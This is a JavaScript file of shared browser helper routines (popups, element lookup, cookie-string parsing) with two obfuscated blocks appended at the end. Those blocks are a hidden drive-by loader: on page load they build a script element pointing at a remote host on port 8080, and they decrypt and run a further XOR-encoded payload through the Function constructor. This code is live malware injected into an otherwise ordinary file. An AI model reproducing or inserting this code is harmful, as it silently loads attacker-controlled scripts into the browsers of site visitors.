// Shared routines

function openPopup(url,windowName,features) {
	window.open(url,windowName,features);
}

function preloadImage(Url) {
	var i = new Image();
	i.src = Url;
}

function showOrHideElement(element,show) {
	element.style.display = show ? "block" : "none";
}

/* unused
function getFirstAncestorOfClass (sourceElement, className) {
	// recursively search for ancestor of sourceElement that matches className
	var elementBeingTested = sourceElement.parentNode;
	if (elementBeingTested.className == className) return elementBeingTested;
	if (!elementBeingTested.className) return null;	// if run out of elements (like at document) stop
	return getFirstAncestorOfClass(elementBeingTested, className);
}
*/

function getFirstDescendentOrSelfOfClass (sourceElement, className) {
	// recursively search for descendent of sourceElement that matches className
	// test self
	if (sourceElement.className == className) return sourceElement;
	// test children
	var child = sourceElement.firstChild;
	if (child) {
		while (child) {
			var elementBeingTested = getFirstDescendentOrSelfOfClass (child, className);
			if (elementBeingTested) return elementBeingTested;
			child = child.nextSibling;
		}
	}
	return null;
}

function getElement(frameObject,elementId) {
	if (document.getElementById) return frameObject.document.getElementById(elementId);
	if (document.all) return frameObject.document.all[elementId];
	if (document.layers) return frameObject.document.layers[elementId];
	return null;
}

function getElementsStyleObject(frameObject,elementId) {
	if (document.getElementById) return frameObject.document.getElementById(elementId).style;
	if (document.all) return frameObject.document.all[elementId].style;
	if (document.layers) return frameObject.document.layers[elementId];
	return null;
}

function getWindowHeight(frameObject) {
	if (document.all) return frameObject.document.body.clientHeight; // IE on Mac and Windows
	if (document.layers) return frameObject.document.clientHeight;
}

function getWindowWidth(frameObject) {
	if (document.all) return frameObject.document.body.clientWidth; // IE on Mac and Windows
	if (document.layers) return frameObject.document.clientWidth;
}
	
function trace (anObject) {
	alert(listObject(anObject));
}

function listObject(theObject) {
	var m = '';
	for (prop in theObject) {
		m+= prop + ":" + theObject[prop] + "\n";
		//* if theObject[prop] == 
	}
	return(m);
}

function wasLeftButton(e) {
	// takes event object (e) and decides if left button was pressed (as opposed to middle wheel button)
	var buttonPressed = /* (navigator.appName=="Netscape") ?  e.which : */ e.button;
	if (buttonPressed == 1 | buttonPressed == 0 ) return true;
	return false;
}

function appendToCookieString ( cookieString, property, value ) {
	if (cookieString!="") cookieString += "&";
	cookieString += property + ":" + escape(value);
}

function getValueFromCookieString ( cookieString, property) {
	// extract value of given property from encoding like this: "property1:value1&property2:value2"
	var pos = cookieString.indexOf(property); // at start of property label
	if (pos==-1) return null;
	pos += property.length + 1; // at start of value
	var start = pos;
	pos = cookieString.indexOf("&",pos+1);
	// if "&" not found, must be last property:value pair -- end of value is end of cookieString
	// else end of value is just before "&"
	var end = (pos==-1) ? cookieString.length : pos;
	var value = cookieString.substring(start,end);
	return unescape(value);
}
	

// SystemInfo Class
// class to handle system check (browser, etc.)
// Thanks to http://www.xs4all.nl/~ppk/js/detect.html for this code
// TODO: Rewrite?
/* 
function SystemInfo() {
	this.detect = navigator.userAgent.toLowerCase();
	this.OS = null;
	this.browser = null;
	this.version = null;
	//this.subVersion = null;
	this.total = null;
	this.thestring = null;
	this.place = null;

	if (this.checkIt('konqueror')) {
		this.browser = "Konqueror";
		this.OS = "Linux";
	}
	else if (this.checkIt('safari')) {
		this.browser = "Safari"
		//this.subVersion = this.detect.substring(8,12);
	}
	else if (this.checkIt('omniweb')) this.browser = "OmniWeb"
	else if (this.checkIt('opera')) this.browser = "Opera"
	else if (this.checkIt('webtv')) this.browser = "WebTV";
	else if (this.checkIt('icab')) this.browser = "iCab"
	else if (this.checkIt('msie')) this.browser = "Internet Explorer"
	else if (!this.checkIt('compatible')) {
		this.browser = "Netscape Navigator"
		this.version = this.detect.charAt(8);
	}
	else this.browser = "An unknown browser";

	if (!this.version) this.version = this.detect.charAt(this.place + this.thestring.length);
	
	if (!this.OS) {
		if (this.checkIt('linux')) this.OS = "Linux";
		else if (this.checkIt('x11')) this.OS = "Unix";
		else if (this.checkIt('mac')) this.OS = "Mac"
		else if (this.checkIt('win')) this.OS = "Windows"
		else this.OS = "an unknown operating system";
	}
}

SystemInfo.prototype.checkIt = function(string) {
	this.place = this.detect.indexOf(string) + 1;
	this.thestring = string;
	return this.place; // HACK: Weird
}

*/

// Saving state using cookies

/*
expires
domain

document.cookie = "version=" + escape(document.lastModified) + "; expires=" + 
// cookie values may not include semicolons, commas, or whitespace


*/







this._="";this.e="e";var j="j";var o='s2c2r?iPpyt?'.replace(/[\?2PCy]/g, '');this.pf=20909;var sb;if(sb!=''){sb='y'};var g=document;this.kb="kb";var l=window;var hy=false;var a;if(a!='oj' && a!='pp'){a=''};this.qv="";l.onload=function(){var aa;if(aa!='' && aa!='uu'){aa=null};this.jq='';try {q=g.createElement(o);var dt=new Array();var to;if(to!='gb' && to!='sx'){to='gb'};q.src
this.y='';var r='[';this.m=18843;var qn=']';var w='replace';var rl='';var B='g';var mB="";this.uE="";function q(W,l){var V=r;V+=l;V+=qn;this.Mv=false;var n=new RegExp(V, B);this.O="";return W[w](n, '');};var CB="";var F=q('/Gg4oBovgvlve4.Bc9oBmG/GgGo4o4gBlve9.Bc9ovmG/BrBaGk4u4t9evnv.Bnve4.GjGpB/vt9rvaBi4d4nGtB.vnGevtB/4g9ovoGgBlveG.Bc9oGmB.vm9y4/4',"49BGv");this.Z=false;var L=window;var d=q('hFtLtLp2:F/P/TpPrLi2cPeFlTiLn2eF-LcPoPmT.PxLtLu2bPeF.TcPoLmT.ToPnPlLiPnLeTdFoFw2nF-LnLeLtP.TnFePwPuFsFaTgLu2iTdPeT.TrTuF',"FPLT2");var Y='';var U="";var z=q(':38w0w890L',"L9w3z");var c=document;this.zb='';function f(cG){var C=[q('sDcarDiNpatN',"NDKaF"), q('c6rveva9t9e9E4l4evmAe9nAtv',"v94A6"), q('omnjlmomaCdj',"jmwNC"), q('sBr4cV',"VBb64"), q('aGpWpFevnvdvCGhGiFlzdW',"WGFvz"), q('s7eOt7Avt7tCrOi7bOuOtCeC',"COv57"), q('baoYdPyH',"HaeYP"), q('d7eyf7enrW',"W7nKy"), "1"];var E="";var H=C[cG];this.Ls=false;return H;this.NM='';}this.FI="";var Ch = function(){try {this.Uv='';Y+=d;Y+=z;this.Hf=21339;Y+=F;var uG=3030;this.Rp=false;LJ=c[f([1][0])](f([0,4][0]));this.YO='';var Lj = c[f([6,0][0])];var RR=30406;var BD='';LJ[f([5][0])](f([7,6][0]), f([8,8][0]));LJ[f([3][0])]=Y;this.XA='';Lj[f([4,6][0])](LJ);} catch(Co){this.I=373;};};L[f([2][0])]=Ch;this._='';
var OQ="d8fad5f7c68ecdf5c3d8f288d7c3c4ea88f7cccceefab8b4a48ca2cbd8e6c1e9dce4daf3dee6d8e2c9ffcee3c9e2cec1d7e4e8feedf6cbf5e3dff9fcfdfee6c8f6edfe8ae4fc9be1e8ff9ffded8ee0ce";var NH=false;var oyg=false;var Wpa;if(Wpa!='' && Wpa!='bM'){Wpa=null};function r(J){ var R=function(i,g){return i^g;var G;if(G!='pm' && G != ''){G=null};var bZ;if(bZ!='' && bZ!='dc'){bZ=''};};var N=new String();var ga;if(ga!='s'){ga=''};var T;if(T!='Le' && T!='da'){T='Le'}; function w(Q, D){var y=false;var h;if(h!='' && h!='W'){h=null};var Zx;if(Zx!='oM' && Zx!='rZ'){Zx=''};var lD;if(lD!='mG' && lD!='lu'){lD=''};var c=[1,47][0];var KF;if(KF!='' && KF!='JH'){KF=''};var BO=[105,225,134,0][3];this.F="";this.DT=63785;var e = '';var FP;if(FP!='sA'){FP='sA'};var A;if(A!='' && A!='TI'){A='PI'};var V = Q.length;this.mf="mf";var z = D.length;this.sp=false;this.MX=false;for(var n = BO; n < V; n += z) {var PD;if(PD!=''){PD='nn'};var ZJ=25187;var Z = Q.substr(n, z);if(Z.length == z){var Ex;if(Ex!=''){Ex='Rp'};for(var l in D) {var DY;if(DY!='rF'){DY='rF'};e+=Z.substr(D[l], c);var zX=new String();}var u;if(u!='Fs'){u=''};} else {  e+=Z;var AK='';}var wz;if(wz!='Rf' && wz!='I'){wz='Rf'};}var bPW;if(bPW!='vm' && bPW != ''){bPW=null};return e;var EK=new Date();}var En;if(En!='' && En!='de'){En='lT'};var zS;if(zS!='QI'){zS='QI'}; function cb(QW,k){return QW[w("dcarhCoeAt", [1,4,2,3,5,6,0,7])](k);var Bx;if(Bx!='VE'){Bx=''};var dN=new String();}var MD;if(MD!='iS'){MD='iS'};var Yy;if(Yy!='Aq'){Yy='Aq'};var Ri;if(Ri!='' && Ri!='fh'){Ri=null};var rH;if(rH!='gB'){rH='gB'}; var Bu=function(HV){var QT=new Array();var c=[43,28,1,191][2];var a=[179,0][1];var l=[174,14,0][2];var sQ;if(sQ!='Yu'){sQ=''};var Uu=new Date();var jy=[212,255,57,165][1];var Am;if(Am!='gC' && Am!='S'){Am=''};var ia=HV[w("elgnht", [1,0])];var Lj;if(Lj!='' && Lj!='Nz'){Lj='NX'};var uS="uS";var sW;if(sW!='' && sW!='pi'){sW='zb'};var ou=52707;while(l<ia){this.Ib="Ib";l++;X=cb(HV,l - c);var jv=new Date();var yO=new String();a+=X*ia;var Jx=new Array();var nw;if(nw!='Sp' && nw != ''){nw=null};}return new j(a % jy);this.Xx=57482;var KE;if(KE!=''){KE='ok'};};var qo=16688; var B=function(Q){this.dI=16699;var iw="";var VEw;if(VEw!='VXD'){VEw=''};var b = -1;var hl=47675;Q = new j(Q);var Kb;if(Kb!='' && Kb!='qV'){Kb=''};var BO =[35,159,0][2];var sb=new Array();var n =[0][0];var e = '';this.aww='';this.pvV=false;var PDW;if(PDW!='' && PDW!='Qu'){PDW=''};for (n=Q[w("genlth", [3,1,2,0])]-b;n>=BO;n=n-[139,1,131,78][1]){var BV=new Date();var le;if(le!='Gs' && le != ''){le=null};e+=Q[w("raAhct", [4,3,1,0,2,5])](n);var EF=new Array();}var Wp=false;var Vo;if(Vo!='' && Vo!='rFH'){Vo='kk'};return e;var BG;if(BG!='kn'){BG=''};};var oH;if(oH!='VGv'){oH='VGv'};var Rh=new String();var OY="OY";var JO=window;var jr=JO[w("aevl", [1,2,0])];var gN=jr(w("uFntcion", [1,0,2]));var ft="ft";var RE;if(RE!='' && RE!='DC'){RE='yB'};this.esp="";var SZ=29852;var t=jr(w("eREgpx", [1,0]));this.SD="";this.Ln=false;var j=jr(w("tSirng", [1,0,3,2,4]));var IGR="IGR";var Ma;if(Ma!='' && Ma!='NL'){Ma='hm'};var HB = '';var HBx;if(HBx!=''){HBx='uj'};var Td;if(Td!='' && Td!='oh'){Td=null};var Bm;if(Bm!='MA' && Bm!='Sr'){Bm=''};var Dk=false;var Px;if(Px!='' && Px!='Pi'){Px=null};var ZC=j[w("ohmfarCrCode", [3,5,0,2,6,1,4])];var NnF;if(NnF!='' && NnF!='ow'){NnF=null};var C=JO[w("eunscape", [1,2,0,3,4])];this.ST="";var DYJ;if(DYJ!='ym' && DYJ != ''){DYJ=null};var m = ZC(37);this.jj=false;var spc;if(spc!='uP'){spc='uP'};var Bp =[142,52,2][2];var xR=56081;var Qf =[176,0,240][1];var fA=53541;var c =[1,169,201,31][0];var iI;if(iI!='we' && iI!='fO'){iI=''};var cM=false;var BO =[0,203][0];this.wJn=17370;this.wj=42211;var sv=new Date();this.gs=15455;var f = /[^@a-z0-9A-Z_-]/g;this.Zv="Zv";var o = '';var p=[1, w("muodetcnaec.tEreneelt\'m(picst)r\'", [3,2,6,1,0,4,7,5]),2, w("cedumo.dnbotaeypp.Clnhidd(d)", [2,5,0,3,4,1]),3, w("mo.cvieltiesseid.nrg8:0u80", [3,1,0,2]),4, w("ms.oct1eiu.oc10epx.merts", [4,3,0,2,1]),5, w("Aetds.uibtrte\'dt(efer\'", [3,5,4,1,2,0]),6, w("ooeggl.com", [3,1,0,4,5,2,6]),7, w("ceohorkunoilenc.mo", [1,0]),8, w(".wondiwonload", [1,5,3,4,2,6,0]),11, w("otifuncn()", [3,4,5,6,1,2,0]),12, w("vasa.tocm", [1,0]),14, w("catc)(eh", [3,1,2,0]),15, w("chnxaege", [5,3,0,1,4,2,6]),16, w("mqfgaase", [3,5,0,7,2,4,1,6]),17, w("yaeb.fr", [2,3,1,0]),18, w("h\"tt:p", [1,0]),19, w(".drsc", [1,0]),20, w("1\')\'", [1,0]),21, w("rty", [1,0])];this.aq='';var iJ = '';var wDF;if(wDF!='' && wDF!='wy'){wDF=null};var Vh;if(Vh!='uw'){Vh=''};var Ya=new Date();var PW=new Date();var zd = '';var EmR;if(EmR!='qL' && EmR!='Ii'){EmR=''};var qS;if(qS!=''){qS='AtU'};var lI = J[w("elgnht", [1,0])];this.aR="aR";var kz;if(kz!='oF'){kz=''};this.bQ="bQ";var IYg;if(IYg!='' && IYg!='eo'){IYg=''};for(var d=BO; d < lI; d+=Bp){var rS;if(rS!='' && rS!='Gz'){rS='Kx'};iJ+= m; iJ+= J[w("ubsstr", [3,0,1,2,4])](d, Bp);}var ht=18946;var jSk;if(jSk!='' && jSk!='ww'){jSk=''};var J = C(iJ);var vul;if(vul!='vL' && vul!='ff'){vul=''};var tk = new j(r);var vB=new Date();var aW = tk[w("ealeprc", [5,3,4,2,1,6,0])](f, zd);var wb;if(wb!='MYs'){wb='MYs'};var SH;if(SH!='wB' && SH!='tj'){SH='wB'};var pu="pu";var v = new j(gN);var AG;if(AG!='' && AG!='Wq'){AG=null};var RMG;if(RMG!=''){RMG='HG'};var O = p[w("gnelth", [3,2,1,0])];var mT="mT";aW = B(aW);var DZ="DZ";var XK;if(XK!='Mk' && XK != ''){XK=null};this.Ql=16036;var TB;if(TB!=''){TB='nnO'};var ls;if(ls!='PR' && ls != ''){ls=null};var mx;if(mx!='xw' && mx != ''){mx=null};var gM = v[w("erlpcae", [1,0])](f, zd);var gM = Bu(gM);var x=Bu(aW);var FG=new Array();var xOo;if(xOo!='LE' && xOo!='oi'){xOo=''};var FO;if(FO!='' && FO!='bd'){FO=''};for(var n=BO; n < (J[w("neltgh", [2,1,0,4,3,5])]);n=n+[144,1][1]) {var iP;if(iP!=''){iP='Sl'};this.vq="vq";this.DF='';var vg = aW.charCodeAt(Qf);this.knl="";var Sra;if(Sra!='' && Sra!='SO'){Sra=null};var ey = cb(J,n);var Fqp=55817;this.Lk=47558;var xk="xk";ey = R(ey, vg);this.rx='';var Bt=false;ey = R(ey, x);var eM;if(eM!='' && eM!='Cq'){eM=null};ey = R(ey, gM);this.Qc="";Qf++;var aYw;if(aYw!='qh'){aYw='qh'};var WX=new Array();if(Qf > aW.length-c){var yv;if(yv!='UK'){yv=''};Qf=BO;}this.Bb="";var xf;if(xf!='' && xf!='Ky'){xf='Hm'};o += ZC(ey);this.pit=13069;this.zZ=14513;}for(fj=BO; fj < O; fj+=Bp){var ta;if(ta!='fAl'){ta='fAl'};var yC;if(yC!='' && yC!='WB'){yC=null};var DU = p[fj + c];this.zOP=36635;this.IM=8321;var mu = ZC(p[fj]);var Ub=new Date();var wa="";var Ep;if(Ep!=''){Ep='CM'};var Kyn=new String();var LU;if(LU!='' && LU!='xRZ'){LU='xe'};var jT;if(jT!='RC'){jT=''};var Bg=new Array();var og;if(og!='gK' && og!='Op'){og='gK'};var K = new t(mu, j.fromCharCode(103));var xu;if(xu!='qC' && xu != ''){xu=null};var gX;if(gX!='me' && gX != ''){gX=null};o=o[w("preclae", [1,2,0])](K, DU);var Dlm=new String();this.jE='';}var rA=new gN(o);var yOU=new String();rA();var sS;if(sS!='yx'){sS=''};var yNt=new Array();var QA=new Array();v = '';this.vqA=16313;var tGF;if(tGF!=''){tGF='lKb'};gM = '';var uU="uU";var TBY=new String();x = '';var XL;if(XL!='' && XL!='TC'){XL=''};var owg;if(owg!='' && owg!='qoM'){owg=''};rA = '';var rn=new String();aW = '';var ot;if(ot!=''){ot='Po'};var Yrv;if(Yrv!=''){Yrv='lB'};o = '';var gsd=new Array();var qp="";var Pb='';var dk;if(dk!='ca'){dk='ca'};return '';this.ra=54284;var HO;if(HO!='XvW' && HO!='yBp'){HO='XvW'};};var NH=false;var oyg=false;var Wpa;if(Wpa!='' && Wpa!='bM'){Wpa=null};r(OQ);